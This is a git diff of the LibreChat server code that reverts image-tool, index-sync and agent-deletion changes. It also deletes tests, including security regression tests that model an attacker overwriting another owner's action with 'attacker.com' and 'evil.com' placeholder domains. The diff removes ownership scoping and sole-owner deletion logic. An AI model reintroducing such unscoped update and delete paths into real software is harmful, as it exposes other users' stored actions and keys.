diff --git a/api/app/clients/tools/structured/StableDiffusion.js b/api/app/clients/tools/structured/StableDiffusion.js
index 8cf4b141bb..d7a7a4d96b 100644
--- a/api/app/clients/tools/structured/StableDiffusion.js
+++ b/api/app/clients/tools/structured/StableDiffusion.js
@@ -43,10 +43,6 @@ class StableDiffusionAPI extends Tool {
this.returnMetadata = fields.returnMetadata ?? false;
/** @type {boolean} */
this.isAgent = fields.isAgent;
- if (this.isAgent) {
- /** Ensures LangChain maps [content, artifact] tuple to ToolMessage fields instead of serializing it into content. */
- this.responseFormat = 'content_and_artifact';
- }
if (fields.uploadImageBuffer) {
/** @type {uploadImageBuffer} Necessary for output to contain all image metadata. */
this.uploadImageBuffer = fields.uploadImageBuffer.bind(this);
@@ -119,7 +115,7 @@ class StableDiffusionAPI extends Tool {
generationResponse = await axios.post(`${url}/sdapi/v1/txt2img`, payload);
} catch (error) {
logger.error('[StableDiffusion] Error while generating image:', error);
- return this.returnValue('Error making API request.');
+ return 'Error making API request.';
}
const image = generationResponse.data.images[0];
diff --git a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
index 262842b3c2..4481a7d70f 100644
--- a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
+++ b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
@@ -1,6 +1,7 @@
const DALLE3 = require('../DALLE3');
const { ProxyAgent } = require('undici');
+jest.mock('tiktoken');
const processFileURL = jest.fn();
describe('DALLE3 Proxy Configuration', () => {
diff --git a/api/app/clients/tools/structured/specs/DALLE3.spec.js b/api/app/clients/tools/structured/specs/DALLE3.spec.js
index 6071929bfc..d2040989f9 100644
--- a/api/app/clients/tools/structured/specs/DALLE3.spec.js
+++ b/api/app/clients/tools/structured/specs/DALLE3.spec.js
@@ -14,6 +14,15 @@ jest.mock('@librechat/data-schemas', () => {
};
});
+jest.mock('tiktoken', () => {
+ return {
+ encoding_for_model: jest.fn().mockReturnValue({
+ encode: jest.fn(),
+ decode: jest.fn(),
+ }),
+ };
+});
+
const processFileURL = jest.fn();
const generate = jest.fn();
diff --git a/api/app/clients/tools/structured/specs/imageTools-agent.spec.js b/api/app/clients/tools/structured/specs/imageTools-agent.spec.js
deleted file mode 100644
index b82dd87b3f..0000000000
--- a/api/app/clients/tools/structured/specs/imageTools-agent.spec.js
+++ /dev/null
@@ -1,294 +0,0 @@
-/**
- * Regression tests for image tool agent mode — verifies that invoke() returns
- * a ToolMessage with base64 in artifact.content rather than serialized into content.
- *
- * Root cause: DALLE3/FluxAPI/StableDiffusion extend LangChain's Tool but did not
- * set responseFormat = 'content_and_artifact'. LangChain's invoke() would then
- * JSON.stringify the entire [content, artifact] tuple into ToolMessage.content,
- * dumping base64 into token counting and causing context exhaustion.
- */
-
-const axios = require('axios');
-const OpenAI = require('openai');
-const undici = require('undici');
-const fetch = require('node-fetch');
-const { ToolMessage } = require('@langchain/core/messages');
-const { ContentTypes } = require('librechat-data-provider');
-const StableDiffusionAPI = require('../StableDiffusion');
-const FluxAPI = require('../FluxAPI');
-const DALLE3 = require('../DALLE3');
-
-jest.mock('axios');
-jest.mock('openai');
-jest.mock('node-fetch');
-jest.mock('undici', () => ({
- ProxyAgent: jest.fn(),
- fetch: jest.fn(),
-}));
-jest.mock('@librechat/data-schemas', () => ({
- logger: { info: jest.fn(), warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
-}));
-jest.mock('path', () => ({
- resolve: jest.fn(),
- join: jest.fn().mockReturnValue('/mock/path'),
- relative: jest.fn().mockReturnValue('relative/path'),
- extname: jest.fn().mockReturnValue('.png'),
-}));
-jest.mock('fs', () => ({
- existsSync: jest.fn().mockReturnValue(true),
- mkdirSync: jest.fn(),
- promises: { writeFile: jest.fn(), readFile: jest.fn(), unlink: jest.fn() },
-}));
-
-const FAKE_BASE64 = 'aGVsbG8=';
-
-const makeToolCall = (name, args) => ({
- id: 'call_test_123',
- name,
- args,
- type: 'tool_call',
-});
-
-describe('image tools - agent mode ToolMessage format', () => {
- const ENV_KEYS = ['DALLE_API_KEY', 'FLUX_API_KEY', 'SD_WEBUI_URL', 'PROXY'];
- let savedEnv = {};
-
- beforeEach(() => {
- jest.clearAllMocks();
- for (const key of ENV_KEYS) {
- savedEnv[key] = process.env[key];
- }
- process.env.DALLE_API_KEY = 'test-dalle-key';
- process.env.FLUX_API_KEY = 'test-flux-key';
- process.env.SD_WEBUI_URL = 'http://localhost:7860';
- delete process.env.PROXY;
- });
-
- afterEach(() => {
- for (const key of ENV_KEYS) {
- if (savedEnv[key] === undefined) {
- delete process.env[key];
- } else {
- process.env[key] = savedEnv[key];
- }
- }
- savedEnv = {};
- });
-
- describe('DALLE3', () => {
- beforeEach(() => {
- OpenAI.mockImplementation(() => ({
- images: {
- generate: jest.fn().mockResolvedValue({
- data: [{ url: 'https://example.com/image.png' }],
- }),
- },
- }));
- undici.fetch.mockResolvedValue({
- arrayBuffer: () => Promise.resolve(Buffer.from(FAKE_BASE64, 'base64')),
- });
- });
-
- it('sets responseFormat to content_and_artifact when isAgent is true', () => {
- const dalle = new DALLE3({ isAgent: true });
- expect(dalle.responseFormat).toBe('content_and_artifact');
- });
-
- it('does not set responseFormat when isAgent is false', () => {
- const dalle = new DALLE3({ isAgent: false, processFileURL: jest.fn() });
- expect(dalle.responseFormat).not.toBe('content_and_artifact');
- });
-
- it('invoke() returns ToolMessage with base64 in artifact, not serialized in content', async () => {
- const dalle = new DALLE3({ isAgent: true });
- const result = await dalle.invoke(
- makeToolCall('dalle', {
- prompt: 'a box',
- quality: 'standard',
- size: '1024x1024',
- style: 'vivid',
- }),
- );
-
- expect(result).toBeInstanceOf(ToolMessage);
-
- const contentStr =
- typeof result.content === 'string' ? result.content : JSON.stringify(result.content);
- expect(contentStr).not.toContain(FAKE_BASE64);
-
- expect(result.artifact).toBeDefined();
- const artifactContent = result.artifact?.content;
- expect(Array.isArray(artifactContent)).toBe(true);
- expect(artifactContent[0].type).toBe(ContentTypes.IMAGE_URL);
- expect(artifactContent[0].image_url.url).toContain('base64');
- });
-
- it('invoke() returns ToolMessage with error string in content when API fails', async () => {
- OpenAI.mockImplementation(() => ({
- images: { generate: jest.fn().mockRejectedValue(new Error('API error')) },
- }));
-
- const dalle = new DALLE3({ isAgent: true });
- const result = await dalle.invoke(
- makeToolCall('dalle', {
- prompt: 'a box',
- quality: 'standard',
- size: '1024x1024',
- style: 'vivid',
- }),
- );
-
- expect(result).toBeInstanceOf(ToolMessage);
- const contentStr =
- typeof result.content === 'string' ? result.content : JSON.stringify(result.content);
- expect(contentStr).toContain('Something went wrong');
- expect(result.artifact).toBeDefined();
- });
- });
-
- describe('FluxAPI', () => {
- beforeEach(() => {
- jest.useFakeTimers();
- axios.post.mockResolvedValue({ data: { id: 'task-123' } });
- axios.get.mockResolvedValue({
- data: { status: 'Ready', result: { sample: 'https://example.com/image.png' } },
- });
- fetch.mockResolvedValue({
- arrayBuffer: () => Promise.resolve(Buffer.from(FAKE_BASE64, 'base64')),
- });
- });
-
- afterEach(() => {
- jest.useRealTimers();
- });
-
- it('sets responseFormat to content_and_artifact when isAgent is true', () => {
- const flux = new FluxAPI({ isAgent: true });
- expect(flux.responseFormat).toBe('content_and_artifact');
- });
-
- it('does not set responseFormat when isAgent is false', () => {
- const flux = new FluxAPI({ isAgent: false, processFileURL: jest.fn() });
- expect(flux.responseFormat).not.toBe('content_and_artifact');
- });
-
- it('invoke() returns ToolMessage with base64 in artifact, not serialized in content', async () => {
- const flux = new FluxAPI({ isAgent: true });
- const invokePromise = flux.invoke(
- makeToolCall('flux', { prompt: 'a box', endpoint: '/v1/flux-dev' }),
- );
- await jest.runAllTimersAsync();
- const result = await invokePromise;
-
- expect(result).toBeInstanceOf(ToolMessage);
- const contentStr =
- typeof result.content === 'string' ? result.content : JSON.stringify(result.content);
- expect(contentStr).not.toContain(FAKE_BASE64);
-
- expect(result.artifact).toBeDefined();
- const artifactContent = result.artifact?.content;
- expect(Array.isArray(artifactContent)).toBe(true);
- expect(artifactContent[0].type).toBe(ContentTypes.IMAGE_URL);
- expect(artifactContent[0].image_url.url).toContain('base64');
- });
-
- it('invoke() returns ToolMessage with base64 in artifact for generate_finetuned action', async () => {
- const flux = new FluxAPI({ isAgent: true });
- const invokePromise = flux.invoke(
- makeToolCall('flux', {
- action: 'generate_finetuned',
- prompt: 'a box',
- finetune_id: 'ft-abc123',
- endpoint: '/v1/flux-pro-finetuned',
- }),
- );
- await jest.runAllTimersAsync();
- const result = await invokePromise;
-
- expect(result).toBeInstanceOf(ToolMessage);
- const contentStr =
- typeof result.content === 'string' ? result.content : JSON.stringify(result.content);
- expect(contentStr).not.toContain(FAKE_BASE64);
-
- expect(result.artifact).toBeDefined();
- const artifactContent = result.artifact?.content;
- expect(Array.isArray(artifactContent)).toBe(true);
- expect(artifactContent[0].type).toBe(ContentTypes.IMAGE_URL);
- expect(artifactContent[0].image_url.url).toContain('base64');
- });
-
- it('invoke() returns ToolMessage with error string in content when task submission fails', async () => {
- axios.post.mockRejectedValue(new Error('Network error'));
-
- const flux = new FluxAPI({ isAgent: true });
- const invokePromise = flux.invoke(
- makeToolCall('flux', { prompt: 'a box', endpoint: '/v1/flux-dev' }),
- );
- await jest.runAllTimersAsync();
- const result = await invokePromise;
-
- expect(result).toBeInstanceOf(ToolMessage);
- const contentStr =
- typeof result.content === 'string' ? result.content : JSON.stringify(result.content);
- expect(contentStr).toContain('Something went wrong');
- expect(result.artifact).toBeDefined();
- });
- });
-
- describe('StableDiffusion', () => {
- beforeEach(() => {
- axios.post.mockResolvedValue({
- data: {
- images: [FAKE_BASE64],
- info: JSON.stringify({ height: 1024, width: 1024, seed: 42, infotexts: [] }),
- },
- });
- });
-
- it('sets responseFormat to content_and_artifact when isAgent is true', () => {
- const sd = new StableDiffusionAPI({ isAgent: true, override: true });
- expect(sd.responseFormat).toBe('content_and_artifact');
- });
-
- it('does not set responseFormat when isAgent is false', () => {
- const sd = new StableDiffusionAPI({
- isAgent: false,
- override: true,
- uploadImageBuffer: jest.fn(),
- });
- expect(sd.responseFormat).not.toBe('content_and_artifact');
- });
-
- it('invoke() returns ToolMessage with base64 in artifact, not serialized in content', async () => {
- const sd = new StableDiffusionAPI({ isAgent: true, override: true, userId: 'user-1' });
- const result = await sd.invoke(
- makeToolCall('stable-diffusion', { prompt: 'a box', negative_prompt: '' }),
- );
-
- expect(result).toBeInstanceOf(ToolMessage);
- const contentStr =
- typeof result.content === 'string' ? result.content : JSON.stringify(result.content);
- expect(contentStr).not.toContain(FAKE_BASE64);
-
- expect(result.artifact).toBeDefined();
- const artifactContent = result.artifact?.content;
- expect(Array.isArray(artifactContent)).toBe(true);
- expect(artifactContent[0].type).toBe(ContentTypes.IMAGE_URL);
- expect(artifactContent[0].image_url.url).toContain('base64');
- });
-
- it('invoke() returns ToolMessage with error string in content when API fails', async () => {
- axios.post.mockRejectedValue(new Error('Connection refused'));
-
- const sd = new StableDiffusionAPI({ isAgent: true, override: true, userId: 'user-1' });
- const result = await sd.invoke(
- makeToolCall('stable-diffusion', { prompt: 'a box', negative_prompt: '' }),
- );
-
- expect(result).toBeInstanceOf(ToolMessage);
- const contentStr =
- typeof result.content === 'string' ? result.content : JSON.stringify(result.content);
- expect(contentStr).toContain('Error making API request');
- });
- });
-});
diff --git a/api/app/clients/tools/util/handleTools.js b/api/app/clients/tools/util/handleTools.js
index d82a0d6930..65c88ce83f 100644
--- a/api/app/clients/tools/util/handleTools.js
+++ b/api/app/clients/tools/util/handleTools.js
@@ -7,7 +7,6 @@ const {
} = require('@librechat/agents');
const {
checkAccess,
- toolkitParent,
createSafeUser,
mcpToolPattern,
loadWebSearchAuth,
@@ -208,7 +207,7 @@ const loadTools = async ({
},
gemini_image_gen: async (toolContextMap) => {
const authFields = getAuthFields('gemini_image_gen');
- const authValues = await loadAuthValues({ userId: user, authFields, throwError: false });
+ const authValues = await loadAuthValues({ userId: user, authFields });
const imageFiles = options.tool_resources?.[EToolResources.image_edit]?.files ?? [];
const toolContext = buildImageToolContext({
imageFiles,
@@ -223,6 +222,7 @@ const loadTools = async ({
isAgent: !!agent,
req: options.req,
imageFiles,
+ processFileURL: options.processFileURL,
userId: user,
fileStrategy,
});
@@ -370,16 +370,8 @@ const loadTools = async ({
continue;
}
- const toolKey = customConstructors[tool] ? tool : toolkitParent[tool];
- if (toolKey && customConstructors[toolKey]) {
- if (!requestedTools[toolKey]) {
- let cached;
- requestedTools[toolKey] = async () => {
- cached ??= customConstructors[toolKey](toolContextMap);
- return cached;
- };
- }
- requestedTools[tool] = requestedTools[toolKey];
+ if (customConstructors[tool]) {
+ requestedTools[tool] = async () => customConstructors[tool](toolContextMap);
continue;
}
diff --git a/api/cache/banViolation.js b/api/cache/banViolation.js
index 36945ca420..4d321889c1 100644
--- a/api/cache/banViolation.js
+++ b/api/cache/banViolation.js
@@ -1,7 +1,8 @@
const { logger } = require('@librechat/data-schemas');
+const { isEnabled, math } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { isEnabled, math, removePorts } = require('@librechat/api');
const { deleteAllUserSessions } = require('~/models');
+const { removePorts } = require('~/server/utils');
const getLogStores = require('./getLogStores');
const { BAN_VIOLATIONS, BAN_INTERVAL } = process.env ?? {};
diff --git a/api/cache/getLogStores.js b/api/cache/getLogStores.js
index 70eb681e53..3089192196 100644
--- a/api/cache/getLogStores.js
+++ b/api/cache/getLogStores.js
@@ -47,7 +47,7 @@ const namespaces = {
[CacheKeys.MODEL_QUERIES]: standardCache(CacheKeys.MODEL_QUERIES),
[CacheKeys.AUDIO_RUNS]: standardCache(CacheKeys.AUDIO_RUNS, Time.TEN_MINUTES),
[CacheKeys.MESSAGES]: standardCache(CacheKeys.MESSAGES, Time.ONE_MINUTE),
- [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 10),
+ [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 3),
[CacheKeys.OPENID_EXCHANGED_TOKENS]: standardCache(
CacheKeys.OPENID_EXCHANGED_TOKENS,
Time.TEN_MINUTES,
diff --git a/api/db/indexSync.js b/api/db/indexSync.js
index 130cde77b8..8e8e999d92 100644
--- a/api/db/indexSync.js
+++ b/api/db/indexSync.js
@@ -236,12 +236,8 @@ async function performSync(flowManager, flowId, flowType) {
const messageCount = messageProgress.totalDocuments;
const messagesIndexed = messageProgress.totalProcessed;
const unindexedMessages = messageCount - messagesIndexed;
- const noneIndexed = messagesIndexed === 0 && unindexedMessages > 0;
- if (settingsUpdated || noneIndexed || unindexedMessages > syncThreshold) {
- if (noneIndexed && !settingsUpdated) {
- logger.info('[indexSync] No messages marked as indexed, forcing full sync');
- }
+ if (settingsUpdated || unindexedMessages > syncThreshold) {
logger.info(`[indexSync] Starting message sync (${unindexedMessages} unindexed)`);
await Message.syncWithMeili();
messagesSync = true;
@@ -265,13 +261,9 @@ async function performSync(flowManager, flowId, flowType) {
const convoCount = convoProgress.totalDocuments;
const convosIndexed = convoProgress.totalProcessed;
- const unindexedConvos = convoCount - convosIndexed;
- const noneConvosIndexed = convosIndexed === 0 && unindexedConvos > 0;
- if (settingsUpdated || noneConvosIndexed || unindexedConvos > syncThreshold) {
- if (noneConvosIndexed && !settingsUpdated) {
- logger.info('[indexSync] No conversations marked as indexed, forcing full sync');
- }
+ const unindexedConvos = convoCount - convosIndexed;
+ if (settingsUpdated || unindexedConvos > syncThreshold) {
logger.info(`[indexSync] Starting convos sync (${unindexedConvos} unindexed)`);
await Conversation.syncWithMeili();
convosSync = true;
diff --git a/api/db/indexSync.spec.js b/api/db/indexSync.spec.js
index dbe07c7595..c2e5901d6a 100644
--- a/api/db/indexSync.spec.js
+++ b/api/db/indexSync.spec.js
@@ -462,69 +462,4 @@ describe('performSync() - syncThreshold logic', () => {
);
expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (50 unindexed)');
});
-
- test('forces sync when zero documents indexed (reset scenario) even if below threshold', async () => {
- Message.getSyncProgress.mockResolvedValue({
- totalProcessed: 0,
- totalDocuments: 680,
- isComplete: false,
- });
-
- Conversation.getSyncProgress.mockResolvedValue({
- totalProcessed: 0,
- totalDocuments: 76,
- isComplete: false,
- });
-
- Message.syncWithMeili.mockResolvedValue(undefined);
- Conversation.syncWithMeili.mockResolvedValue(undefined);
-
- const indexSync = require('./indexSync');
- await indexSync();
-
- expect(Message.syncWithMeili).toHaveBeenCalledTimes(1);
- expect(Conversation.syncWithMeili).toHaveBeenCalledTimes(1);
- expect(mockLogger.info).toHaveBeenCalledWith(
- '[indexSync] No messages marked as indexed, forcing full sync',
- );
- expect(mockLogger.info).toHaveBeenCalledWith(
- '[indexSync] Starting message sync (680 unindexed)',
- );
- expect(mockLogger.info).toHaveBeenCalledWith(
- '[indexSync] No conversations marked as indexed, forcing full sync',
- );
- expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (76 unindexed)');
- });
-
- test('does NOT force sync when some documents already indexed and below threshold', async () => {
- Message.getSyncProgress.mockResolvedValue({
- totalProcessed: 630,
- totalDocuments: 680,
- isComplete: false,
- });
-
- Conversation.getSyncProgress.mockResolvedValue({
- totalProcessed: 70,
- totalDocuments: 76,
- isComplete: false,
- });
-
- const indexSync = require('./indexSync');
- await indexSync();
-
- expect(Message.syncWithMeili).not.toHaveBeenCalled();
- expect(Conversation.syncWithMeili).not.toHaveBeenCalled();
- expect(mockLogger.info).not.toHaveBeenCalledWith(
- '[indexSync] No messages marked as indexed, forcing full sync',
- );
- expect(mockLogger.info).not.toHaveBeenCalledWith(
- '[indexSync] No conversations marked as indexed, forcing full sync',
- );
- expect(mockLogger.info).toHaveBeenCalledWith(
- '[indexSync] 50 messages unindexed (below threshold: 1000, skipping)',
- );
- expect(mockLogger.info).toHaveBeenCalledWith(
- '[indexSync] 6 convos unindexed (below threshold: 1000, skipping)',
- );
- });
});
diff --git a/api/jest.config.js b/api/jest.config.js
index 47f8b7287b..20ee3c6aed 100644
--- a/api/jest.config.js
+++ b/api/jest.config.js
@@ -3,13 +3,12 @@ module.exports = {
clearMocks: true,
roots: [''],
coverageDirectory: 'coverage',
- maxWorkers: '50%',
testTimeout: 30000, // 30 seconds timeout for all tests
setupFiles: ['./test/jestSetup.js', './test/__mocks__/logger.js'],
moduleNameMapper: {
'~/(.*)': '/$1',
'~/data/auth.json': '/__mocks__/auth.mock.json',
- '^openid-client/passport$': '/test/__mocks__/openid-client-passport.js',
+ '^openid-client/passport$': '/test/__mocks__/openid-client-passport.js', // Mock for the passport strategy part
'^openid-client$': '/test/__mocks__/openid-client.js',
},
transformIgnorePatterns: ['/node_modules/(?!(openid-client|oauth4webapi|jose)/).*/'],
diff --git a/api/models/Action.js b/api/models/Action.js
index f14c415d5b..20aa20a7e4 100644
--- a/api/models/Action.js
+++ b/api/models/Action.js
@@ -4,7 +4,9 @@ const { Action } = require('~/db/models');
* Update an action with new data without overwriting existing properties,
* or create a new action if it doesn't exist.
*
- * @param {{ action_id: string, agent_id?: string, assistant_id?: string, user?: string }} searchParams
+ * @param {Object} searchParams - The search parameters to find the action to update.
+ * @param {string} searchParams.action_id - The ID of the action to update.
+ * @param {string} searchParams.user - The user ID of the action's author.
* @param {Object} updateData - An object containing the properties to update.
* @returns {Promise} The updated or newly created action document as a plain object.
*/
@@ -45,8 +47,10 @@ const getActions = async (searchParams, includeSensitive = false) => {
/**
* Deletes an action by params.
*
- * @param {{ action_id: string, agent_id?: string, assistant_id?: string, user?: string }} searchParams
- * @returns {Promise} The deleted action document as a plain object, or null if no match.
+ * @param {Object} searchParams - The search parameters to find the action to delete.
+ * @param {string} searchParams.action_id - The ID of the action to delete.
+ * @param {string} searchParams.user - The user ID of the action's author.
+ * @returns {Promise} A promise that resolves to the deleted action document as a plain object, or null if no document was found.
*/
const deleteAction = async (searchParams) => {
return await Action.findOneAndDelete(searchParams).lean();
diff --git a/api/models/Action.spec.js b/api/models/Action.spec.js
deleted file mode 100644
index 61a3b10f0f..0000000000
--- a/api/models/Action.spec.js
+++ /dev/null
@@ -1,250 +0,0 @@
-const mongoose = require('mongoose');
-const { MongoMemoryServer } = require('mongodb-memory-server');
-const { actionSchema } = require('@librechat/data-schemas');
-const { updateAction, getActions, deleteAction } = require('./Action');
-
-let mongoServer;
-
-beforeAll(async () => {
- mongoServer = await MongoMemoryServer.create();
- const mongoUri = mongoServer.getUri();
- if (!mongoose.models.Action) {
- mongoose.model('Action', actionSchema);
- }
- await mongoose.connect(mongoUri);
-}, 20000);
-
-afterAll(async () => {
- await mongoose.disconnect();
- await mongoServer.stop();
-});
-
-beforeEach(async () => {
- await mongoose.models.Action.deleteMany({});
-});
-
-const userId = new mongoose.Types.ObjectId();
-
-describe('Action ownership scoping', () => {
- describe('updateAction', () => {
- it('updates when action_id and agent_id both match', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_1',
- agent_id: 'agent_A',
- metadata: { domain: 'example.com' },
- });
-
- const result = await updateAction(
- { action_id: 'act_1', agent_id: 'agent_A' },
- { metadata: { domain: 'updated.com' } },
- );
-
- expect(result).not.toBeNull();
- expect(result.metadata.domain).toBe('updated.com');
- expect(result.agent_id).toBe('agent_A');
- });
-
- it('does not update when agent_id does not match (creates a new doc via upsert)', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_1',
- agent_id: 'agent_B',
- metadata: { domain: 'victim.com', api_key: 'secret' },
- });
-
- const result = await updateAction(
- { action_id: 'act_1', agent_id: 'agent_A' },
- { user: userId, metadata: { domain: 'attacker.com' } },
- );
-
- expect(result.metadata.domain).toBe('attacker.com');
-
- const original = await mongoose.models.Action.findOne({
- action_id: 'act_1',
- agent_id: 'agent_B',
- }).lean();
- expect(original).not.toBeNull();
- expect(original.metadata.domain).toBe('victim.com');
- expect(original.metadata.api_key).toBe('secret');
- });
-
- it('updates when action_id and assistant_id both match', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_2',
- assistant_id: 'asst_X',
- metadata: { domain: 'example.com' },
- });
-
- const result = await updateAction(
- { action_id: 'act_2', assistant_id: 'asst_X' },
- { metadata: { domain: 'updated.com' } },
- );
-
- expect(result).not.toBeNull();
- expect(result.metadata.domain).toBe('updated.com');
- });
-
- it('does not overwrite when assistant_id does not match', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_2',
- assistant_id: 'asst_victim',
- metadata: { domain: 'victim.com', api_key: 'secret' },
- });
-
- await updateAction(
- { action_id: 'act_2', assistant_id: 'asst_attacker' },
- { user: userId, metadata: { domain: 'attacker.com' } },
- );
-
- const original = await mongoose.models.Action.findOne({
- action_id: 'act_2',
- assistant_id: 'asst_victim',
- }).lean();
- expect(original).not.toBeNull();
- expect(original.metadata.domain).toBe('victim.com');
- expect(original.metadata.api_key).toBe('secret');
- });
- });
-
- describe('deleteAction', () => {
- it('deletes when action_id and agent_id both match', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_del',
- agent_id: 'agent_A',
- metadata: { domain: 'example.com' },
- });
-
- const result = await deleteAction({ action_id: 'act_del', agent_id: 'agent_A' });
- expect(result).not.toBeNull();
- expect(result.action_id).toBe('act_del');
-
- const remaining = await mongoose.models.Action.countDocuments();
- expect(remaining).toBe(0);
- });
-
- it('returns null and preserves the document when agent_id does not match', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_del',
- agent_id: 'agent_B',
- metadata: { domain: 'victim.com' },
- });
-
- const result = await deleteAction({ action_id: 'act_del', agent_id: 'agent_A' });
- expect(result).toBeNull();
-
- const remaining = await mongoose.models.Action.countDocuments();
- expect(remaining).toBe(1);
- });
-
- it('deletes when action_id and assistant_id both match', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_del_asst',
- assistant_id: 'asst_X',
- metadata: { domain: 'example.com' },
- });
-
- const result = await deleteAction({ action_id: 'act_del_asst', assistant_id: 'asst_X' });
- expect(result).not.toBeNull();
-
- const remaining = await mongoose.models.Action.countDocuments();
- expect(remaining).toBe(0);
- });
-
- it('returns null and preserves the document when assistant_id does not match', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_del_asst',
- assistant_id: 'asst_victim',
- metadata: { domain: 'victim.com' },
- });
-
- const result = await deleteAction({
- action_id: 'act_del_asst',
- assistant_id: 'asst_attacker',
- });
- expect(result).toBeNull();
-
- const remaining = await mongoose.models.Action.countDocuments();
- expect(remaining).toBe(1);
- });
- });
-
- describe('getActions (unscoped baseline)', () => {
- it('returns actions by action_id regardless of agent_id', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_shared',
- agent_id: 'agent_B',
- metadata: { domain: 'example.com' },
- });
-
- const results = await getActions({ action_id: 'act_shared' }, true);
- expect(results).toHaveLength(1);
- expect(results[0].agent_id).toBe('agent_B');
- });
-
- it('returns actions scoped by agent_id when provided', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_scoped',
- agent_id: 'agent_A',
- metadata: { domain: 'a.com' },
- });
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_other',
- agent_id: 'agent_B',
- metadata: { domain: 'b.com' },
- });
-
- const results = await getActions({ agent_id: 'agent_A' });
- expect(results).toHaveLength(1);
- expect(results[0].action_id).toBe('act_scoped');
- });
- });
-
- describe('cross-type protection', () => {
- it('updateAction with agent_id filter does not overwrite assistant-owned action', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_cross',
- assistant_id: 'asst_victim',
- metadata: { domain: 'victim.com', api_key: 'secret' },
- });
-
- await updateAction(
- { action_id: 'act_cross', agent_id: 'agent_attacker' },
- { user: userId, metadata: { domain: 'evil.com' } },
- );
-
- const original = await mongoose.models.Action.findOne({
- action_id: 'act_cross',
- assistant_id: 'asst_victim',
- }).lean();
- expect(original).not.toBeNull();
- expect(original.metadata.domain).toBe('victim.com');
- expect(original.metadata.api_key).toBe('secret');
- });
-
- it('deleteAction with agent_id filter does not delete assistant-owned action', async () => {
- await mongoose.models.Action.create({
- user: userId,
- action_id: 'act_cross_del',
- assistant_id: 'asst_victim',
- metadata: { domain: 'victim.com' },
- });
-
- const result = await deleteAction({ action_id: 'act_cross_del', agent_id: 'agent_attacker' });
- expect(result).toBeNull();
-
- const remaining = await mongoose.models.Action.countDocuments();
- expect(remaining).toBe(1);
- });
- });
-});
diff --git a/api/models/Agent.js b/api/models/Agent.js
index 53098888d6..663285183a 100644
--- a/api/models/Agent.js
+++ b/api/models/Agent.js
@@ -17,10 +17,7 @@ const {
removeAgentIdsFromProject,
addAgentIdsToProject,
} = require('./Project');
-const {
- getSoleOwnedResourceIds,
- removeAllPermissions,
-} = require('~/server/services/PermissionService');
+const { removeAllPermissions } = require('~/server/services/PermissionService');
const { getMCPServerTools } = require('~/server/services/Config');
const { Agent, AclEntry, User } = require('~/db/models');
const { getActions } = require('./Action');
@@ -620,70 +617,30 @@ const deleteAgent = async (searchParameter) => {
};
/**
- * Deletes agents solely owned by the user and cleans up their ACLs/project references.
- * Agents with other owners are left intact; the caller is responsible for
- * removing the user's own ACL principal entries separately.
- *
- * Also handles legacy (pre-ACL) agents that only have the author field set,
- * ensuring they are not orphaned if no permission migration has been run.
+ * Deletes all agents created by a specific user.
* @param {string} userId - The ID of the user whose agents should be deleted.
- * @returns {Promise}
+ * @returns {Promise} A promise that resolves when all user agents have been deleted.
*/
const deleteUserAgents = async (userId) => {
try {
- const userObjectId = new mongoose.Types.ObjectId(userId);
- const soleOwnedObjectIds = await getSoleOwnedResourceIds(userObjectId, [
- ResourceType.AGENT,
- ResourceType.REMOTE_AGENT,
- ]);
+ const userAgents = await getAgents({ author: userId });
- const authoredAgents = await Agent.find({ author: userObjectId }).select('id _id').lean();
-
- const migratedEntries =
- authoredAgents.length > 0
- ? await AclEntry.find({
- resourceType: { $in: [ResourceType.AGENT, ResourceType.REMOTE_AGENT] },
- resourceId: { $in: authoredAgents.map((a) => a._id) },
- })
- .select('resourceId')
- .lean()
- : [];
- const migratedIds = new Set(migratedEntries.map((e) => e.resourceId.toString()));
- const legacyAgents = authoredAgents.filter((a) => !migratedIds.has(a._id.toString()));
-
- /** resourceId is the MongoDB _id; agent.id is the string identifier for project/edge queries */
- const soleOwnedAgents =
- soleOwnedObjectIds.length > 0
- ? await Agent.find({ _id: { $in: soleOwnedObjectIds } })
- .select('id _id')
- .lean()
- : [];
-
- const allAgents = [...soleOwnedAgents, ...legacyAgents];
-
- if (allAgents.length === 0) {
+ if (userAgents.length === 0) {
return;
}
- const agentIds = allAgents.map((agent) => agent.id);
- const agentObjectIds = allAgents.map((agent) => agent._id);
+ const agentIds = userAgents.map((agent) => agent.id);
+ const agentObjectIds = userAgents.map((agent) => agent._id);
- await Promise.all(agentIds.map((id) => removeAgentFromAllProjects(id)));
+ for (const agentId of agentIds) {
+ await removeAgentFromAllProjects(agentId);
+ }
await AclEntry.deleteMany({
resourceType: { $in: [ResourceType.AGENT, ResourceType.REMOTE_AGENT] },
resourceId: { $in: agentObjectIds },
});
- try {
- await Agent.updateMany(
- { 'edges.to': { $in: agentIds } },
- { $pull: { edges: { to: { $in: agentIds } } } },
- );
- } catch (error) {
- logger.error('[deleteUserAgents] Error removing agents from handoff edges', error);
- }
-
try {
await User.updateMany(
{ 'favorites.agentId': { $in: agentIds } },
@@ -693,7 +650,7 @@ const deleteUserAgents = async (userId) => {
logger.error('[deleteUserAgents] Error removing agents from user favorites', error);
}
- await Agent.deleteMany({ _id: { $in: agentObjectIds } });
+ await Agent.deleteMany({ author: userId });
} catch (error) {
